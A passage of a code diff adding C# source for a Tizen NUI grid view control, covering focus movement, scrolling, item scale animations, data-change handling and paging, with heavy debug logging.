+                if (gridType == GridType.Horizontal)
+                {
+                    focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                }
+                else
+                {
+                    focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                }
+
+                FocusMoveViaObject obj = new FocusMoveViaObject();
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> focusMoveViaQ.Count: " + focusMoveViaQ.Count);
+                Tizen.Log.Fatal("NUI", "::::: " + focusGroupIndex + ", " + focusItemIndex);
+
+                obj.toGroupIndex = groupIndex;
+                obj.toItemIndex = itemIndex;
+                focusMoveViaQ.Enqueue(obj);
+                focusMoveAni.Play();
+            }
+            else
+            {
+                if (focusMoveAni.IsPlaying() == false)
+                {
+                    Tizen.Log.Fatal("NUI", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ " + groupIndex + " " + itemIndex + " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            //To keep focusBar on the top of 
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+        private bool GetItemGroupPosByFocusItem(int aFocusGroupIndex, int aFocusItemIndex, Position itemGroupPos)
+        {
+            bool bNeedScroll = false;
+            if (!IsItemIndexValid(aFocusGroupIndex, aFocusItemIndex))
+            {
+                return false;
+            }
+
+            Group focusedGroup = groupList.ElementAt(aFocusGroupIndex);
+            GridItem focusedItem = focusedGroup.itemList.ElementAt(aFocusItemIndex);
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedItem.rect: " + focusedItem.rect.X + ", " + focusedItem.rect.Y + ", " + focusedItem.rect.Width + ", " + focusedItem.rect.Height);
+
+            Rect focusBarRectBaseOnList = new Rect(focusedItem.rect.X, focusedItem.rect.Y, focusedItem.rect.Width, focusedItem.rect.Height);
+            focusBarRectBaseOnList.X += itemGroupRect.X;
+            focusBarRectBaseOnList.Y += itemGroupRect.Y;
+
+            itemGroupPos.X = itemGroupRect.X;
+            itemGroupPos.Y = itemGroupRect.Y;
+
+            float startFocusRange;
+            float endFocusRange;
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (0 == focusedItem.rect.X)
+                {
+                    startFocusRange = margin[0];
+                }
+                else
+                {
+                    Tizen.Log.Fatal("NUI", "Left  aFocusItemIndex:: " + aFocusGroupIndex + ", aFocusItemIndex:: " + aFocusItemIndex);
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "startFocusRange :: " + margin[0]);
+                    startFocusRange = prevItem != null ? prevItem.rect.Width / 2 : margin[0];
+                }
+
+                if (itemGroupRect.Width == focusedItem.rect.Right())
+                {
+                    endFocusRange = gridWidth - margin[2];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "gridWidth::" + gridWidth + "  gridWidth - margin[2] :: " + (gridWidth - margin[2]));
+                    //Tizen.Log.Fatal("NUI", "gridWidth - nextItem.rect.Width / 2 :: " + (gridWidth - nextItem.rect.Width / 2));
+                    endFocusRange = nextItem != null ? gridWidth - nextItem.rect.Width / 2 : gridWidth - margin[2];
+                    Tizen.Log.Fatal("NUI", "endFocusRange :: " + endFocusRange);
+                }
+
+                if (focusBarRectBaseOnList.X < startFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.X :: " + focusBarRectBaseOnList.X + "  startFocusRange :: " + startFocusRange);
+                    itemGroupPos.X += startFocusRange - focusBarRectBaseOnList.X;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Right() > endFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.Right() :: " + focusBarRectBaseOnList.Right() + "  endFocusRange :: " + endFocusRange);
+                    itemGroupPos.X += endFocusRange - focusBarRectBaseOnList.Right();
+                    bNeedScroll = true;
+                }
+            }
+            else
+            {
+                if (0 == focusedItem.rect.Y)
+                {
+                    startFocusRange = margin[1];
+                }
+                else
+                {
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    startFocusRange = prevItem != null ? prevItem.rect.Height / 2 : margin[1];
+                }
+
+                if (itemGroupRect.Height == focusedItem.rect.Bottom())
+                {
+                    endFocusRange = gridHeight - margin[3];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    endFocusRange = nextItem != null ? gridHeight - nextItem.rect.Height / 2 : gridHeight - margin[3];
+                } 
+                
+                if (focusBarRectBaseOnList.Y < startFocusRange)
+                {
+                    itemGroupPos.Y += startFocusRange - focusBarRectBaseOnList.Y;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Bottom() > endFocusRange)
+                {
+                    itemGroupPos.Y += endFocusRange - focusBarRectBaseOnList.Bottom();
+                    bNeedScroll = true;
+                }
+            }
+
+            return bNeedScroll;
+        }
+
+        private void NotifyFocusChange(int fromGroupIndex,int fromItemIndex,int toGroupIndex,int toItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex + " toGroupIndex: " + toGroupIndex + " toItemIndex: " + toItemIndex);
+
+            if (IsItemIndexValid(fromGroupIndex, fromItemIndex) && (fromGroupIndex != toGroupIndex || fromItemIndex != toItemIndex))
+            {
+                Group preGroup = groupList.ElementAt(fromGroupIndex);
+                GridItem preItem = preGroup.itemList.ElementAt(fromItemIndex);
+
+                ScaleDownItem(preItem);
+                if (preItem.itemView != null)
+                {
+                    gridBridge.FocusChange(fromGroupIndex, fromItemIndex, preItem.itemView, false);
+                }
+            }
+
+            if (IsItemIndexValid(toGroupIndex, toItemIndex))
+            {
+                Group curGroup = groupList.ElementAt(toGroupIndex);
+                GridItem item = curGroup.itemList.ElementAt(toItemIndex);
+
+                ScaleUpItem(item);
+                if (item.itemView != null)
+                {
+                    Tizen.Log.Fatal("NUI", "Call GridBridge.FocusChange to set focus");
+                    gridBridge.FocusChange(toGroupIndex, toItemIndex, item.itemView, true);
+                }
+            }
+
+            //notify user focus change
+            GridEventArgs evtArgs = new GridEventArgs();
+            evtArgs.EventType = GridEventType.FocusChange;
+            evtArgs.param[0] = fromGroupIndex;
+            evtArgs.param[1] = fromItemIndex;
+            evtArgs.param[2] = toGroupIndex;
+            evtArgs.param[3] = toItemIndex;
+            OnListEvent(evtArgs);
+
+            if (toGroupIndex != -1 && toItemIndex != -1)
+            {
+                focusGroupIndex = toGroupIndex;
+                focusItemIndex = toItemIndex;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusGroupIndex: " + focusGroupIndex + " focusItemIndex: " + focusItemIndex);
+        }
+
+        private void ScaleUpItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.itemView.RaiseToTop();
+            item.ScaleItem(new Vector3(focusInScaleFactor, focusInScaleFactor, 1.0f), focusInScaleAnimationAttrs);
+        }
+
+        private void ScaleDownItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.ScaleItem(new Vector3(1.0f, 1.0f, 1.0f), focusOutScaleAnimationAttrs);
+        }
+
+        private void UpdateItemGroupSize()
+        {
+            if (groupList.Count == 0)
+            {
+                return;
+            }
+
+            Group lastGroup = groupList.ElementAt(groupList.Count - 1);
+
+            int lastItemIndex = lastGroup.itemList.Count - 1;
+            if (lastItemIndex < 0)
+            {
+                return;
+            }
+
+            Cell lastFilledCell = GetCellByItemIndex(groupList.Count - 1 ,lastItemIndex);
+            int lastFilledColumnIndex = lastFilledCell.columnIndex;
+            Column lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+            
+            int cellCount = lastFilledColumn.cellList.Count;
+            for (int i = 0; i < cellCount;  i++)
+            {
+                Cell curCell = lastFilledColumn.cellList.ElementAt(i);
+                if (curCell.columnIndex > lastFilledColumnIndex)
+                {
+                    lastFilledColumnIndex = lastFilledColumn.cellList.ElementAt(i).columnIndex;
+                }
+            }
+
+            lastFilledColumn = lastGroup.columnList.ElementAt(lastFilledColumnIndex);
+
+            float width, height;
+
+            if (GridType.Horizontal == gridType)
+            {
+                width = lastFilledColumn.endPos;
+                height = gridHeight - (margin[1] + margin[3]);
+            }
+            else
+            {
+                width = gridWidth - (margin[0] + margin[2]);
+                height = lastFilledColumn.endPos;
+            }
+
+            itemGroupRect.Width = width;
+            itemGroupRect.Height = height;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            itemGroup.SizeWidth = itemGroupRect.Width;
+            itemGroup.SizeHeight = itemGroupRect.Height;
+        }
+
+        private void InitItemGroupPosition()
+        {
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X > margin[0])
+                {
+                    itemGroupRect.X = margin[0];
+                }
+                else if (itemGroupRect.Right() < gridWidth)
+                {
+                    if (itemGroupRect.X >= gridWidth)
+                    {
+                        itemGroupRect.X = gridWidth - itemGroupRect.Width;
+                    }
+                    else
+                    {
+                        itemGroupRect.X = 0;
+                    }
+                }
+
+                itemGroupRect.Y = margin[1];
+            }
+            else
+            {
+                itemGroupRect.X = margin[0];
+                if (itemGroupRect.Y > margin[1])
+                {
+                    itemGroupRect.Y = margin[1];
+                }
+                else if (itemGroupRect.Y + itemGroupRect.Height < gridHeight)
+                {
+                    if (itemGroupRect.Y >= gridHeight)
+                    {
+                        itemGroupRect.Y = gridHeight - itemGroupRect.Height;
+                    }
+                    else
+                    {
+                        itemGroupRect.Y = 0;
+                    }
+                }
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            ResetItemGroupRectPos();
+
+            itemGroup.PositionX = itemGroupRect.X;
+            itemGroup.PositionY = itemGroupRect.Y;
+        }
+
+        private void ResetItemGroupRectPos()
+        {
+            //adjust item Group pos, to add margin when item group scroll to Head or Tail
+            if (GridType.Horizontal == gridType)
+            {
+                if (itemGroupRect.X == 0)
+                {
+                    itemGroupRect.X += margin[0];
+                }
+                else if (itemGroupRect.Right() == gridWidth)
+                {
+                    itemGroupRect.X -= margin[2];
+                }
+            }
+            else
+            {
+                if (itemGroupRect.Y == 0)
+                {
+                    itemGroupRect.Y += margin[1];
+                }
+                else if (itemGroupRect.Bottom() == gridHeight)
+                {
+                    itemGroupRect.Y -= margin[3];
+                }
+            }
+        }
+
+        private Cell GetCellByItemIndex(int groupIndex, int itemIndex)
+        {
+            Cell curCell = null;
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (curGroup.itemIndexToCell.ContainsKey(itemIndex))
+            {
+                curCell = curGroup.itemIndexToCell[itemIndex];
+            }
+
+            return curCell;
+        }
+
+        private bool IsGroupIndexValid(int groupIndex)
+        {
+            return (groupIndex >= 0 && groupList != null && groupIndex < groupList.Count);
+        }
+
+        private bool IsItemIndexValid(int groupIndex, int itemIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex); 
+
+            return (itemIndex >= 0 && curGroup.itemList != null && itemIndex < curGroup.itemList.Count);
+        }
+
+        private bool IsColumnIndexValid(int groupIndex, int columnIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return false;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            return (columnIndex >= 0 && curGroup.columnList != null && columnIndex < curGroup.columnList.Count);
+        }
+
+        private bool IsCellIndexValid(int groupIndex, int columnIndex, int cellIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return false;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            return (cellIndex >= 0 && curColumn.cellList != null && cellIndex < curColumn.cellList.Count);
+        }
+
+        /// <summary>
+        /// Called when the control gain key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusGained(object sender, EventArgs e)
+        {
+            OnFocusGained();
+        }
+
+        public void OnFocusGained()
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ");
+            SetFocus(focusGroupIndex, focusItemIndex);
+        }
+
+        /// <summary>
+        /// Called when the control loses key input focus.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        public void ControlFocusLost(object sender, EventArgs e)
+        {
+            OnFocusLost();
+        }
+
+        public void OnFocusLost()
+        {
+            Tizen.Log.Fatal("NUI", "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<");
+            NotifyFocusChange(focusGroupIndex, focusItemIndex, -1, -1);
+        }
+
+        private void OnFocusMoveViaEvent(object o, EventArgs e)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + focusMoveViaQ.Count + " -------------------------------");
+            if (focusMoveViaQ.Count > 0)
+            {
+                {
+                    FocusMoveViaObject obj = focusMoveViaQ.Dequeue();
+                    {
+                        UpdateInMemoryItems(itemGroup.Position);
+                    }
+
+                    {
+                        //common focus notify focus change at destination of every via
+                        NotifyFocusChange(focusGroupIndex, focusItemIndex, obj.toGroupIndex, obj.toItemIndex);
+                    }
+                }
+
+                //viaMap1.Remove(args.ViaNode);
+            }
+        }
+
+        private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        {
+            switch (e.ChangeType)
+            {
+                case GridBridge.DataChangeEventType.Add:
+                    AddItem(e.param[0]);
+                    break;
+                case GridBridge.DataChangeEventType.Remove:
+                    DeleteItem(e.param[0], e.param[1], e.param[2]);
+                    break;
+                case GridBridge.DataChangeEventType.Insert:
+                    InsertItem(e.param[0], e.param[1]);
+                    break;
+                case GridBridge.DataChangeEventType.Clear:
+                    Clear();
+                    break;
+                case GridBridge.DataChangeEventType.Reset:
+                    ResetByData();
+                    break;
+                case GridBridge.DataChangeEventType.Load:
+                    Load();
+                    Group curGroup = groupList.ElementAt(e.param[0]);
+                    for (int i = e.param[1]; i < gridBridge.GetItemCount(e.param[0]); i++)
+                    {
+                        if (i < curGroup.itemList.Count)
+                        {
+                            gridBridge.UpdateItem(e.param[0], i, curGroup.itemList.ElementAt(i).itemView);
+                        }
+                    }
+
+                    if (focusItemIndex >= e.param[1] && focusItemIndex <= e.param[1] + e.param[2] - 1)
+                    {
+                        if (e.param[1] > 0)
+                        {
+                            SetFoucsItemIndex(e.param[1] - 1, focusGroupIndex);
+                        }
+                        else if (e.param[1] + e.param[2] < curGroup.itemList.Count)
+                        {
+                            SetFoucsItemIndex(e.param[1] + e.param[2], focusGroupIndex);
+                        }
+                    }
+                    else if (focusItemIndex >= e.param[1] + e.param[2])
+                    {
+                        SetFoucsItemIndex(focusItemIndex - e.param[2], focusGroupIndex);
+                    }
+
+                    break;
+                default:
+
+                    break;
+            }
+
+            refXForFocusMove = refYForFocusMove = -1;
+        }
+
+        private void AddItem(int groupIndex)
+        {
+            int dataCount = gridBridge.GetItemCount(groupIndex);
+            if (dataCount > groupList.ElementAt(groupIndex).realCellCount)
+            {
+                AddColumn(colW, groupIndex);
+                int columnIndex = groupList.ElementAt(groupIndex).columnList.Count - 1;
+                for (int i = 0; i < rowCnt; i++)
+                {
+                    AddRowToColumn(columnIndex, rowH, groupIndex);
+                }
+            }
+
+            Load();
+        }
+
+        private void AddAll(int groupIndex, int count)
+        {
+            Load();
+        }
+
+
+        private void DeleteItem(int groupIndex, int fromItemIndex, int deleteItemNum)
+        {
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            GridItem item = null;
+
+            int toItemIndex = fromItemIndex + deleteItemNum - 1;
+
+            int count = 0;
+
+            for (int i = fromItemIndex; i < curGroup.itemList.Count; i++)
+            {
+                item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, true);
+                    count++;
+                }
+            }
+
+            for (int i = 0; i < count; i++)
+            {
+                curGroup.itemList.Remove(curGroup.itemList.ElementAt(curGroup.itemList.Count - 1));
+            }       
+        }
+
+        private void InsertItem(int groupIndex, int itemIndex)
+        {
+            Load();
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = itemIndex; i < gridBridge.GetItemCount(groupIndex); i++)
+            {
+                if (i < curGroup.itemList.Count)
+                {
+                    gridBridge.UpdateItem(groupIndex, i, curGroup.itemList.ElementAt(i).itemView);
+                }
+            }
+        }
+
+        private void Clear()
+        {
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                Clear(i);
+            }
+
+            ClearRecycleBin();
+        }
+
+        private void Clear(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + groupIndex + " -------------------------------");
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = 0; i < curGroup.itemList.Count; i++)
+            {
+                GridItem item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, false);
+                }
+            }
+
+            curGroup.itemList.Clear();
+        }
+
+        private void ResetByData()
+        {
+            Tizen.Log.Fatal("NUI", "....");
+            int groupCount = gridBridge.GetGroupCount();
+            ResetGroup(groupCount);
+            for (int i = 0; i < groupCount; i++)
+            {
+                Tizen.Log.Fatal("NUI", ".... group: " + i);
+                int dataCount = gridBridge.GetItemCount(i);
+                Tizen.Log.Fatal("NUI", ".... dataCount: " + dataCount + " rowCnt: " + rowCnt);
+                int columnCount = (dataCount + rowCnt - 1) / rowCnt;
+                Group group = groupList.ElementAt(i);
+                Tizen.Log.Fatal("NUI", ".... columnCount: " + columnCount + " group.columnList.Count: " + group.columnList.Count + " group.itemIndexToCell.Count: " + group.itemIndexToCell.Count);
+                if (columnCount > group.columnList.Count)
+                {
+                    for (int c = group.columnList.Count; c < columnCount; c++)
+                    {
+                        AddColumn(colW, i);
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            AddRowToColumn(c, rowH, i);
+                        }
+                    }
+                }
+                else if (columnCount < group.columnList.Count)
+                {
+                    float posOffset = -(group.columnList.Count - columnCount) * (colW + columnSpace) + ColumnSpace;
+
+                    for (int c = columnCount; c < group.columnList.Count; c++)
+                    {
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            int itemIndex = c * rowCnt + r;
+                            group.itemIndexToCell.Remove(itemIndex);
+                            group.realCellCount--;
+                            Tizen.Log.Fatal("NUI", ".... itemIndexToCell.Remove: " + itemIndex);
+                        }
+                    }
+
+                    group.columnList.RemoveRange(columnCount, group.columnList.Count - columnCount);
+                    group.endPos = group.columnList.ElementAt(columnCount - 1).endPos;
+                    for (int j = i + 1; j < groupList.Count; j++)
+                    {
+                        if (GridType.Horizontal == gridType && groupList.ElementAt(j).title != null)
+                        {
+                            groupList.ElementAt(j).title.PositionX += posOffset;
+                        }
+
+                        groupList.ElementAt(j).ResetPosition(posOffset);
+                    }
+
+                }
+
+                Tizen.Log.Fatal("NUI", ".... group.columnList.Count: " + group.columnList.Count);
+            }
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+            Tizen.Log.Fatal("NUI", "....");
+            Load();
+            if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+            {
+                SetFocus(0, 0);
+            }
+        }
+
+        /*page length set to grid length*/
+        private void PageMove(bool bPrev, bool bAni)
+        {
+            Rect visibleAreaOfItemGroup = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.X -= gridWidth;
+                    if (0 > visibleAreaOfItemGroup.X)
+                    {
+                        visibleAreaOfItemGroup.X = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.X += gridWidth;
+                    if (-visibleAreaOfItemGroup.X + itemGroupRect.Width < gridWidth)
+                    {
+                        visibleAreaOfItemGroup.X = itemGroupRect.Width - gridWidth;
+                    }
+                }
+
+                if (-itemGroupRect.X == visibleAreaOfItemGroup.X)
+                {
+                    return;
+                }
+            }
+            else
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.Y -= gridHeight;
+                    if (0 > visibleAreaOfItemGroup.Y)
+                    {
+                        visibleAreaOfItemGroup.Y = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.Y += gridHeight;
+                    if (-visibleAreaOfItemGroup.Y + itemGroupRect.Height < gridHeight)
+                    {
+                        visibleAreaOfItemGroup.Y = itemGroupRect.Height - gridHeight;
+                    }
+                }
+
+                if (-itemGroupRect.Y == visibleAreaOfItemGroup.Y)
+                {
+                    return;
+                }
+            }
+
+            Range newRange = new Range(0, 0, 0, 0);
+            GetOnscreenRange(visibleAreaOfItemGroup, ref newRange, true);
+
+            Group curFocusedGroup = groupList.ElementAt(focusGroupIndex);
+            Cell curFocusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+            Column curFocusedColumn = curFocusedGroup.columnList.ElementAt(curFocusedCell.columnIndex);
+
+            float focusStartLine = curFocusedColumn.startPos;
+            float focusEndLine = curFocusedColumn.endPos;
+            float focusMiddleLine = 0;
+
+            if (newRange.startGroupInScrn >= 0 && newRange.endGroupInScrn >= 0)
+            {
+                if (GridType.Horizontal == gridType)
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                    focusEndLine = focusEndLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                }
+                else
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                    focusEndLine = focusEndLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                }
+
+                focusMiddleLine = focusStartLine + (focusEndLine - focusStartLine) / 2;
+
+                int nextFocusGroup = -1; int nextFocusColumn = -1;
+                bool bFound = false;
+                for (int i = newRange.startGroupInScrn; i <= newRange.endGroupInScrn && bFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+
+                    int startColumnIndex = (i == newRange.startGroupInScrn) ? newRange.startColumnInScrn : 0;
+                    int endColumnIndex = (i == newRange.endGroupInScrn) ? newRange.endColumnInScrn : curGroup.columnList.Count - 1;
+
+                    for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= focusMiddleLine && curColumn.endPos >= focusMiddleLine)
+                        {
+                            nextFocusGroup = i;
+                            nextFocusColumn = j;
+                            bFound = true;
+                            break;
+                        }
+                    }
+
+                    if (bFound == false && i == newRange.startGroupInScrn && focusMiddleLine < curGroup.columnList.ElementAt(startColumnIndex).startPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = startColumnIndex;
+                        break;
+                    }
+
+                    else if (bFound == false && i == newRange.endGroupInScrn && focusMiddleLine > curGroup.columnList.ElementAt(endColumnIndex).endPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = endColumnIndex;
+                        break;
+                    }
+                }
+
+                if (nextFocusGroup >= 0 && nextFocusColumn >= 0)
+                {
+                    int nextFocusItem = -1;
+                    GetNearestItem(curFocusedCell, nextFocusGroup, nextFocusColumn, ref nextFocusItem);
+
+                    if (nextFocusItem >= 0)
+                    {
+                        while (gridBridge.IsItemEnabled(nextFocusGroup, nextFocusItem) == false)
+                        {
+                            nextFocusItem = GetNextColumnIndex(bPrev, nextFocusColumn, ref nextFocusGroup);
+                        }
+
+                        if (nextFocusItem >= 0)
+                        {
+                            Position newItemGroupPos = new Position(-visibleAreaOfItemGroup.X, -visibleAreaOfItemGroup.Y, 0);
+                            SetFocus(nextFocusGroup, nextFocusItem, bAni, newItemGroupPos);
+                        }
+                    }
+                }
+            }
+        }
+
+        private int GetNextColumnIndex(bool bPrev, int curColumnIndex, ref int curGroupIndex)
+        {
+            if (bPrev == true)
+            {
+                if (curColumnIndex == 0)
+                {
+                    if (curGroupIndex == 0)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex--;
+                        return groupList.ElementAt(curGroupIndex).columnList.Count - 1;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex - 1;
+                }
+            }
+            else
+            {
+                Group curGroup = groupList.ElementAt(curGroupIndex);
+                if (curGroup.columnList.Count - 1 == curColumnIndex)
+                {
+                    if (groupList.Count - 1 == curGroupIndex)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex++;
+                        return 0;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex + 1;
+                }
+            }
+        }
+
+        private class GridItem
+        {
+            public void ScaleItem(Vector3 scaleFactor, AnimationAttributes aniAttrs)
+            {
+                if (itemView == null || scaleFactor == null || aniAttrs == null)
+                {
+                    return;
+                }
+
+                if (scaleAni == null)
+                {
+                    scaleAni = new Animation();
+                }
+
+                if (scaleAni.State == Animation.States.Playing)
+                {
+                    scaleAni.Stop(Animation.EndActions.StopFinal);
+                }
+
+                scaleAni.Clear();
+                scaleAni.AnimateTo(itemView, "Scale", scaleFactor, 0, aniAttrs.Duration, new AlphaFunction(aniAttrs.BezierPoint1, aniAttrs.BezierPoint2));
+                scaleAni.Play();
+            }
+
+            public int groupIndex;
+            public int index;
+
+            public View itemView;
+            public Rect rect;
+
+            private Animation scaleAni = null;
+        }
+
+        private class Cell
+        {
+            public int columnIndex;
+            public int index;
+            public int itemIndex;
+            public int rowIndex;
+
+            public Rect rect;
+            public Cell()
+            {
+                rect = new Rect(0, 0, 0, 0);
+            }
+        }
+
+        private class Column
+        {
+            public int groupIndex;
+            public int index;
+
+            public float space;
+            public float startPos;
+            public float endPos;
+
+            public int startItemIndex;
+            public int endItemIndex;
+
+            public List<Cell> cellList;
+        }
+
+        private class Group
+        {
+            public int index;
+
+            public float startPos;
+            public float endPos;
+
+            public int realCellCount;
+            public int lastFilledColumnIndex;
+
+            public List<Column> columnList;
+            public List<GridItem> itemList;
+            public Dictionary<int, Cell> itemIndexToCell;
+
+            public void ResetPosition(float posOffset)
+            {
+                startPos += posOffset;
+                endPos += posOffset;
+
+                int count = columnList.Count;
+                for (int i = 0; i < count; i++)
+                {
+                    Column column = columnList.ElementAt(i);
+                    column.startPos += posOffset;
+                    column.endPos += posOffset;
+
+                    int cellCount = column.cellList.Count;
+                    for (int j = 0; j < cellCount; j++)
+                    {
+                        column.cellList.ElementAt(j).rect.X += posOffset;
+                    }
+                }
+            }
+
+            public View title;
+        }
+
+        private class Range
+        {
+            public int startGroupIndex;
+            public int startColumnIndex;
+
+            public int endGroupIndex;
+            public int endColumnIndex;
+
+            public int startGroupInScrn;
+            public int startColumnInScrn;
+
+            public int endGroupInScrn;
+            public int endColumnInScrn;
+
+            public int startItemIndexInScrn;
+            public int endItemIndexInScrn;
+
+            public Range()
+            {
+                startGroupIndex = 0;
+                startColumnIndex = 0;
+                endGroupIndex = 0;
+                endColumnIndex = 0;
+            }
+
+            public Range(int a, int b, int c, int d)
+            {
+                startGroupIndex = a;
+                startColumnIndex = b;
+                endGroupIndex = c;
+                endColumnIndex = d;
+            }
+        }
+
+        private class FocusMoveViaObject
+        {
+            public int toGroupIndex;
+            public int toItemIndex;
+        }
+
+        const int INVALID_COUNT = -1;
+
+        private List<Group> groupList;
+        private GridBridge gridBridge;
+
+        private View itemGroup;
+        private Rect itemGroupRect;
+
+        private Vector4 margin = Vector4.Zero;
+
+        private float gridWidth;
+        private float gridHeight;
+
+        private int preloadFrontColumnSize = 1;
+        private int preloadBackColumnSize = 1;
+
+        //layout attributes
+        private GridType gridType = GridType.Horizontal;
+        private int groupSpace = 0;
+        private int columnSpace = 0;
+        private int rowSpace = 0;
+        private int titleSpace = 0;
+
+        private int rowCnt = 0;
+        private int colCnt = 0;
+        private int colW = 0;
+        private int rowH = 0;
+
+        //focus
+        private int focusGroupIndex;
+        private int focusItemIndex;
+
+        private float refXForFocusMove;
+        private float refYForFocusMove;
+
+        private int focusTagGroupIndex;
+        private int focusTagItemIndex;
+        //animation
+        LinkerAnimation focusMoveAni;
+
+        private float focusInScaleFactor;
+
+        private AnimationAttributes focusInScaleAnimationAttrs;
+
+        private AnimationAttributes focusOutScaleAnimationAttrs;
+
+        private int focusMoveAniDuration;
+
+        private Queue<FocusMoveViaObject> focusMoveViaQ = new Queue<FocusMoveViaObject>();
+
+        //for load
+        private HashSet<GridItem> curInMemoryItemSet;
